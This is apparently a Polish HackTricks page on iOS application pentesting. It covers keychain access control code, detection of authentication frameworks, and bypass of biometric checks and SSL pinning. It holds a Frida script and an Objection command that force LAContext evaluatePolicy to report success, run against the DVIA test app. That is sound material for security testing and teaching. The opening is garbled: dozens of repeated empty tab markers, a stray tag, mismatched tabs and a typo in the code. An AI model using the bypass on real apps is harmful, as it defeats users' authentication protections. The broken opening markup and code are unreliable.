{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{% tab title="Objective-C" %}
Objective-C
{% endtab %}
{%
```objectivec
// 1. create AccessControl object that will represent authentication settings
CFErrorRef *err = nil;
SecAccessControlRef sacRef = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
kSecAccessControlUserPresence,
err);
// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute
NSDictionary* query = @{
(_ _bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
(__bridge id)kSecAttrAccount: @"OWASP Account",
(__bridge id)kSecValueData: [@"test_strong_password" dataUsingEncoding:NSUTF8StringEncoding],
(__bridge id)kSecAttrAccessControl: (__bridge_transfer id)sacRef
};
// 3. save item
OSStatus status = SecItemAdd((__bridge CFDictionaryRef)query, nil);
if (status == noErr) {
// successfully saved
} else {
// error while saving
}
```
{% tab title="Swift" %}
Teraz możemy zażądać zapisanego elementu z keychaina. Usługi keychaina wyświetlą okno dialogowe uwierzytelniania użytkownika i zwrócą dane lub nil, w zależności od tego, czy podano odpowiedni odcisk palca czy nie.
```swift
let query: [String: Any] = [
kSecClass as String: kSecClassGenericPassword,
kSecAttrService as String: "MyApp",
kSecAttrAccount as String: "username",
kSecReturnData as String: true
]
var item: CFTypeRef?
let status = SecItemCopyMatching(query as CFDictionary, &item)
if status == errSecSuccess {
let passwordData = item as! Data
let password = String(data: passwordData, encoding: .utf8)
print("Password: \(password ?? "")")
} else {
print("Error retrieving password: \(status)")
}
```
{% endtab %}
{% endtabs %}
```swift
// 1. define query
var query = [String: Any]()
query[kSecClass as String] = kSecClassGenericPassword
query[kSecReturnData as String] = kCFBooleanTrue
query[kSecAttrAccount as String] = "My Name" as CFString
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecUseOperationPrompt as String] = "Please, pass authorisation to enter this area" as CFString
// 2. get item
var queryResult: AnyObject?
let status = withUnsafeMutablePointer(to: &queryResult) {
SecItemCopyMatching(query as CFDictionary, UnsafeMutablePointer($0))
}
if status == noErr {
let password = String(data: queryResult as! Data, encoding: .utf8)!
// successfully received password
} else {
// authorization not passed
}
```
{% endtab %}
{% tab title="Objective-C" %}
```objectivec
// 1. define query
NSDictionary *query = @{(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
(__bridge id)kSecReturnData: @YES,
(__bridge id)kSecAttrAccount: @"My Name1",
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
(__bridge id)kSecUseOperationPrompt: @"Please, pass authorisation to enter this area" };
// 2. get item
CFTypeRef queryResult = NULL;
OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, &queryResult);
if (status == noErr){
NSData* resultData = ( __bridge_transfer NSData* )queryResult;
NSString* password = [[NSString alloc] initWithData:resultData encoding:NSUTF8StringEncoding];
NSLog(@"%@", password);
} else {
NSLog(@"Something went wrong");
}
```
{% endtab %}
{% endtabs %}
### Wykrywanie
Użycie frameworków w aplikacji można również wykryć, analizując listę współdzielonych dynamicznych bibliotek w pliku binarnym aplikacji. Można to zrobić za pomocą polecenia `otool`:
```bash
$ otool -L .app/
```
Jeśli w aplikacji jest używany `LocalAuthentication.framework`, wynik będzie zawierał obie z poniższych linii (pamiętaj, że `LocalAuthentication.framework` korzysta z `Security.framework` pod spodem):
```bash
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
/System/Library/Frameworks/Security.framework/Security
```
Jeśli używany jest `Security.framework`, zostanie pokazana tylko druga opcja.
### Ominięcie ramki Local Authentication
#### **Objection**
Przez **Objection Biometrics Bypass**, dostępny na [tej stronie GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), istnieje technika ominięcia mechanizmu **LocalAuthentication**. Istota tego podejścia polega na wykorzystaniu **Frida** do manipulowania funkcją `evaluatePolicy`, zapewniając, że zawsze zwraca ona wartość `True`, niezależnie od rzeczywistego sukcesu uwierzytelniania. Jest to szczególnie przydatne do obejścia wadliwych procesów uwierzytelniania biometrycznego.
Aby aktywować to ominięcie, używa się następującej komendy:
```bash
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # (agent) [3mhtws9x47q] Localized Reason for auth requirement: Please authenticate yourself
(agent) [3mhtws9x47q] OS authentication response: false
(agent) [3mhtws9x47q] Marking OS response as True instead
(agent) [3mhtws9x47q] Biometrics bypass hook complete
```
To polecenie uruchamia sekwencję, w której Objection rejestruje zadanie, które efektywnie zmienia wynik sprawdzania `evaluatePolicy` na `True`.
#### Frida
Przykład użycia **`evaluatePolicy`** z aplikacji [DVIA-v2](https://github.com/prateek147/DVIA-v2):
```swift
+(void)authenticateWithTouchID {
LAContext *myContext = [[LAContext alloc] init];
NSError *authError = nil;
NSString *myLocalizedReasonString = @"Please authenticate yourself";
if ([myContext canEvaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics error:&authError]) {
[myContext evaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics
localizedReason:myLocalizedReasonString
reply:^(BOOL success, NSError *error) {
if (success) {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Successful" withTitle:@"Success"];
});
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Failed !" withTitle:@"Error"];
});
}
}];
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Your device doesn't support Touch ID or you haven't configured Touch ID authentication on your device" withTitle:@"Error"];
});
}
}
```
Aby osiągnąć **ominięcie** lokalnej autoryzacji, napisany jest skrypt Frida. Ten skrypt jest ukierunkowany na sprawdzenie metody **evaluatePolicy**, przechwytując jej wywołanie zwrotne, aby upewnić się, że zawsze zwraca **success=1**. Poprzez zmianę zachowania wywołania zwrotnego, sprawdzanie autoryzacji jest efektywnie ominięte.
Poniższy skrypt jest wstrzykiwany, aby zmodyfikować wynik metody **evaluatePolicy**. Zmienia on wynik wywołania zwrotnego, aby zawsze wskazywał na sukces.
```swift
// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
if(ObjC.available) {
console.log("Injecting...");
var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
Interceptor.attach(hook.implementation, {
onEnter: function(args) {
var block = new ObjC.Block(args[4]);
const callback = block.implementation;
block.implementation = function (error, value) {
console.log("Changing the result value to true")
const result = callback(1, null);
return result;
};
},
});
} else {
console.log("Objective-C Runtime is not available!");
}
```
Aby wstrzyknąć skrypt Frida i ominąć uwierzytelnianie biometryczne, używane jest polecenie:
```bash
frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js
```
## Ujawnienie wrażliwej funkcjonalności poprzez IPC
### Niestandardowe obsługiwane URI / Deep Linki / Niestandardowe schematy
{% content-ref url="ios-custom-uri-handlers-deeplinks-custom-schemes.md" %}
[ios-custom-uri-handlers-deeplinks-custom-schemes.md](ios-custom-uri-handlers-deeplinks-custom-schemes.md)
{% endcontent-ref %}
### Uniwersalne linki
{% content-ref url="ios-universal-links.md" %}
[ios-universal-links.md](ios-universal-links.md)
{% endcontent-ref %}
### UIActivity Sharing
{% content-ref url="ios-uiactivity-sharing.md" %}
[ios-uiactivity-sharing.md](ios-uiactivity-sharing.md)
{% endcontent-ref %}
### UIPasteboard
{% content-ref url="ios-uipasteboard.md" %}
[ios-uipasteboard.md](ios-uipasteboard.md)
{% endcontent-ref %}
### Rozszerzenia aplikacji
{% content-ref url="ios-app-extensions.md" %}
[ios-app-extensions.md](ios-app-extensions.md)
{% endcontent-ref %}
### WebViews
{% content-ref url="ios-webviews.md" %}
[ios-webviews.md](ios-webviews.md)
{% endcontent-ref %}
### Serializacja i kodowanie
{% content-ref url="ios-serialisation-and-encoding.md" %}
[ios-serialisation-and-encoding.md](ios-serialisation-and-encoding.md)
{% endcontent-ref %}
## Komunikacja sieciowa
Ważne jest sprawdzenie, czy nie występuje **komunikacja bez szyfrowania**, a także czy aplikacja poprawnie **sprawdza certyfikat TLS** serwera.\
Aby sprawdzić tego rodzaju problemy, można użyć proxy takiego jak **Burp**:
{% content-ref url="burp-configuration-for-ios.md" %}
[burp-configuration-for-ios.md](burp-configuration-for-ios.md)
{% endcontent-ref %}
### Sprawdzanie nazwy hosta
Powszechnym problemem przy sprawdzaniu certyfikatu TLS jest sprawdzenie, czy certyfikat został podpisany przez **zaufany** **CA**, ale **nie sprawdzenie**, czy **nazwa hosta** w certyfikacie jest tą samą, do której się odwołujemy.\
Aby sprawdzić ten problem za pomocą Burp, po zaufaniu CA Burp na iPhonie, można **utworzyć nowy certyfikat z Burp dla innej nazwy hosta** i go użyć. Jeśli aplikacja nadal działa, to oznacza, że jest podatna na atak.
### Pinned Certificates
Jeśli aplikacja poprawnie korzysta z SSL Pinning, to aplikacja będzie działać tylko wtedy, gdy certyfikat będzie oczekiwanym certyfikatem. Podczas testowania aplikacji **może to być problemem, ponieważ Burp będzie serwował swój własny certyfikat.**\
Aby ominąć tę ochronę na urządzeniu z jailbreakiem, można zainstalować aplikację [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) lub zainstalować [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)
Można również użyć polecenia `ios sslpinning disable` w narzędziu **objection**.
## Różne
* W **`/System/Library`** można znaleźć frameworki zainstalowane w telefonie, używane przez aplikacje systemowe.
* Aplikacje zainstalowane przez użytkownika ze sklepu App Store znajdują się w folderze **`/User/Applications`**.
* Natomiast **`/User/Library`** zawiera dane zapisane przez aplikacje na poziomie użytkownika.
* Można uzyskać dostęp do pliku **`/User/Library/Notes/notes.sqlite`**, aby odczytać zapisane w aplikacji notatki.
* Wewnątrz folderu z zainstalowaną aplikacją (**`/User/Applications//`**) można znaleźć kilka interesujących plików:
* **`iTunesArtwork`**: Ikona używana przez aplikację.
* **`iTunesMetadata.plist`**: Informacje o aplikacji używane w App Store.
* **`/Library/*`**: Zawiera preferencje i pamięć podręczną. W folderze **`/Library/Cache/Snapshots/*`** można znaleźć zrzut wykonany z aplikacji przed wysłaniem jej do tła.
### Hot Patching/Enforced Updateing
Deweloperzy mogą zdalnie **poprawiać wszystkie instalacje swojej aplikacji natychmiast**, bez konieczności ponownego przesyłania aplikacji do sklepu App Store i oczekiwania na zatwierdzenie.\
W tym celu zazwyczaj używa się [**JSPatch**](https://github.com/bang590/JSPatch)**.** Istnieją jednak również inne opcje, takie jak [Siren](https://github.com/ArtSabintsev/Siren) i [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\
**Jest to niebezpieczny mechanizm, który może być nadużywany przez złośliwe SDK osób trzecich, dlatego zaleca się sprawdzenie, jakie metody są używane do automatycznego aktualizowania (jeśli takie istnieją) i przetestowanie ich.** Można spróbować pobrać poprzednią wersję aplikacji w tym celu.
### Osoby trzecie
Poważnym wyzwaniem związanym z **SDK osób trzecich** jest **brak precyzyjnej kontroli** nad ich funkcjonalnościami. Deweloperzy stoją przed wyborem: zintegrować SDK i zaakceptować wszystkie jego funkcje, w tym potencjalne podatności na bezpieczeństwo i problemy z prywatnością, lub całkowicie zrezygnować z jego korzyści. Często deweloperzy nie są w stanie samodzielnie naprawić podatności w tych SDK. Ponadto, gdy SDK zyskują zaufanie w społeczności, niektóre z nich mogą zawierać złośliwe oprogramowanie.
Usługi świadczone przez SDK osób trzecich mogą obejmować śledzenie zachowań użytkowników, wyświetlanie reklam lub ulepszanie doświadczenia użytkownika. Jednak wiąże się to z ryzykiem, ponieważ deweloperzy mogą nie być w pełni świadomi kodu wykonywanego przez te biblioteki, co prowadzi do potencjalnych zagrożeń dla prywatności i bezpieczeństwa. Ważne jest ograniczenie informacji udostępnianych usługom osób trzecich do tego, co jest niezbędne, i zapewnienie, że żadne wrażliwe dane nie są ujawniane.
Implementacja usług osób trzecich zazwyczaj przyjmuje dwie formy: samodzielnej biblioteki lub pełnego SDK. Aby chronić prywatność użytkownika, wszelkie dane udostępniane tym usługom powinny być **anonimizowane**, aby zapobiec ujawnieniu danych identyfikujących osobę (PII).
Aby zidentyfikować biblioteki używane przez aplikację, można użyć polecenia **`otool`**. Narzędzie to powinno być uruchamiane dla aplikacji i każdej używanej przez nią biblioteki współdzielonej, aby odkryć dodatkowe biblioteki.
```bash
otool -L
```
## **Odnośniki i więcej zasobów**
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering)
* [iOS & Mobile App Pentesting - INE](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting)
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0057/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0057/)
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0058/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0058/)
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0059/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0059/)
* [https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage](https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage)
* [https://coderwall.com/p/kjb3lw/storing-password-in-keychain-the-smart-way](https://coderwall.com/p/kjb3lw/storing-password-in-keychain-the-smart-way)
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0055/](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0055/)
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0053](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0053)
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0060/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0060/)
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0058](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0058)
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0060](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0060)
* [https://mas.owasp.org/MASTG/Android/0x05f-Testing-Local-Authentication/](https://mas.owasp.org/MASTG/Android/0x05f-Testing-Local-Authentication/)
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064](https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064)
* [https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc](https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc)
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054)
* [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) Bezpłatny kurs iOS ([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/))
* [https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577](https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577)
* [https://www.slideshare.net/RyanISI/ios-appsecurityminicourse](https://www.slideshare.net/RyanISI/ios-appsecurityminicourse)
* [https://github.com/prateek147/DVIA](https://github.com/prateek147/DVIA)
* [https://github.com/prateek147/DVIA-v2](https://github.com/prateek147/DVIA-v2)
* [https://github.com/OWASP/MSTG-Hacking-Playground%20](https://github.com/OWASP/MSTG-Hacking-Playground)
* OWASP iGoat [_https://github.com/OWASP/igoat_](https://github.com/OWASP/igoat) <<< Wersja Objective-C [_https://github.com/OWASP/iGoat-Swift_](https://github.com/OWASP/iGoat-Swift) <<< Wersja Swift
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
* [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
\
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować zadania** przy użyciu najbardziej zaawansowanych narzędzi społecznościowych na świecie.\
Zdobądź dostęp już dziś:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Naucz się hakować AWS od zera do bohatera zhtARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć **reklamę swojej firmy w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.